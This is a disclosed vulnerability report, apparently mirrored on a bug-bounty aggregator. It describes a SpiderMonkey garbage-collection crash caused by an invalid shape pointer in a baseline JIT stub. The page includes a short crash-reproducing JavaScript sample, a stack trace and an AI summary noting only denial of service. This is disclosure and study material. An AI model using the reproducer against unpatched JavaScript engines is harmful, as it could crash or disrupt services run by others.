Skip to content
Memory corruption Disclosed report Advanced

Crash in js::gc::detail::CellHasStoreBuffer from ICCacheIRStub::trace

A crafted JavaScript program causes a crash during garbage collection when tracing a baseline JIT stub, due to an invalid shape pointer. An attacker could potentially exploit this to crash the JavaScript engine, but the report does not demonstrate code execution or other impact.

lukas.bernhard Follow

Originally disclosed on Mozilla

  • Fixed in 3 days
  • Paid in 35 days
  • Disclosed after 3 days

Steps to reproduce:

On git commit d6960b4e32d09bff32865694e32384eb9bca4af5 the attached sample crashes during gc when invoked as obj-x86_64-pc-linux-gnu/dist/bin/js --fuzzing-safe --disable-oom-functions crash.js.

for (let v1 = 0; v1 < 10; v1++) { }

for (let v5 = 0; v5 < 5; v5++) {
    function f6(a7, a8, a9, a10) {
        try { a8(a10, a9); } catch (e) {}
        try { new a8(v5, a9, v5, a8); } catch (e) {}
        gc();

        const o15 = {
            __proto__: a7,
        };

        for (let v20 = 0; v20 < 150; v20++) { }
    }
    f6(f6, f6, f6);
}

#0 0x561055be9155 in js::gc::detail::CellHasStoreBuffer(js::gc::Cell const*=0xfffe4b4b4b4b4b48) obj-x86_64-pc-linux-gnu/dist/include/js/HeapAPI.h:594:10 #1 0x561055be9133 in js::gc::IsInsideNursery(js::gc::Cell const*) obj-x86_64-pc-linux-gnu/dist/include/js/HeapAPI.h:601:10 #2 0x561055be9518 in js::gc::IsInsideNursery(js::gc::TenuredCell const*) obj-x86_64-pc-linux-gnu/dist/include/js/HeapAPI.h:606:3 #3 0x561056d0b143 in void js::CheckTracedThingjs::Shape(JSTracer*, js::Shape*) js/src/gc/Marking.cpp:142:7 #4 0x56105610aa37 in js::gc::TraceEdgeInternal(JSTracer*, js::Shape**, char const*) js/src/gc/Tracer.h:106:1 #5 0x561056d0e74a in void js::TraceSameZoneCrossCompartmentEdgejs::Shape*(JSTracer*, js::WriteBarrieredjs::Shape* const*, char const*) js/src/gc/Marking.cpp:520:3 #6 0x5610572f350a in void js::jit::TraceCacheIRStubjs::jit::ICCacheIRStub(JSTracer*, js::jit::ICCacheIRStub*, js::jit::CacheIRStubInfo const*) js/src/jit/CacheIRCompiler.cpp:1225:13 #7 0x561056f1470c in js::jit::ICCacheIRStub::trace(JSTracer*) js/src/jit/BaselineIC.cpp:451:3 #8 0x56105764fb89 in js::jit::TraceBaselineStubFrame(JSTracer*, js::jit::JSJitFrameIter const&) js/src/jit/JitFrames.cpp:1110:30 #9 0x56105763e216 in js::jit::TraceJitActivation(JSTracer*, js::jit::JitActivation*) js/src/jit/JitFrames.cpp:1370:11 #10 0x56105763dfad in js::jit::TraceJitActivations(JSContext*, JSTracer*) js/src/jit/JitFrames.cpp:1412:5 #11 0x561056d4f1a2 in js::gc::GCRuntime::traceRuntimeCommon(JSTracer*, js::gc::GCRuntime::TraceOrMarkRuntime) js/src/gc/RootMarking.cpp:303:5 #12 0x561056d4663a in js::gc::GCRuntime::traceRuntimeForMinorGC(JSTracer*, js::gc::AutoGCSession&) js/src/gc/RootMarking.cpp:258:3 #13 0x561056d45ff6 in js::Nursery::traceRoots(js::gc::AutoGCSession&, js::gc::TenuringTracer&) js/src/gc/Nursery.cpp:1523:9 #14 0x561056d4496c in js::Nursery::doCollection(js::gc::AutoGCSession&, JS::GCOptions, JS::GCReason) js/src/gc/Nursery.cpp:1413:3 #15 0x561056d4427e in js::Nursery::collect(JS::GCOptions, JS::GCReason) js/src/gc/Nursery.cpp:1188:31 #16 0x561056c96a23 in js::gc::GCRuntime::collectNursery(JS::GCOptions, JS::GCReason, js::gcstats::PhaseKind) js/src/gc/GC.cpp:4609:13 #17 0x561056c968de in js::gc::GCRuntime::collectNurseryFromMajorGC(JS::GCReason) js/src/gc/GC.cpp:3755:3 #18 0x561056c95a28 in js::gc::GCRuntime::incrementalSlice(js::SliceBudget&, JS::GCReason, bool) js/src/gc/GC.cpp:3593:9 #19 0x561056c98194 in js::gc::GCRuntime::gcCycle(bool, js::SliceBudget const&, JS::GCReason) js/src/gc/GC.cpp:4181:3 #20 0x561056c99131 in js::gc::GCRuntime::collect(bool, js::SliceBudget const&, JS::GCReason) js/src/gc/GC.cpp:4372:9 #21 0x561056c78051 in js::gc::GCRuntime::gc(JS::GCOptions, JS::GCReason) js/src/gc/GC.cpp:4449:3 #22 0x561056ce6c1e in JS::NonIncrementalGC(JSContext*, JS::GCOptions, JS::GCReason) js/src/gc/GCAPI.cpp:298:21 #23 0x5610566a91ef in GC(JSContext*, unsigned int, JS::Value*) js/src/builtin/TestingFunctions.cpp:696:3 #24 0x12ffe91dccae (<unknown module>)

The original report as published on Mozilla's Bugzilla, by lukas.bernhard. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

The JavaScript engine crashes, which could lead to denial of service; no other impact is demonstrated.

What the attacker needed

Ability to run JavaScript in the engine

How it was found

  1. Run the JavaScript engine with the provided flags and the crash.js sample.
  2. The sample executes loops and recursive function calls that trigger garbage collection.
  3. During GC, tracing a baseline IC stub leads to an invalid shape pointer and a crash.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report describes a bug in a JavaScript engine (SpiderMonkey) where a specially crafted script makes the engine crash while cleaning up memory. The crash happens because the engine tries to follow a bad pointer, which could be used to disrupt a service that runs JavaScript, but no further harm is shown.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by lukas.bernhard

View all

16 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.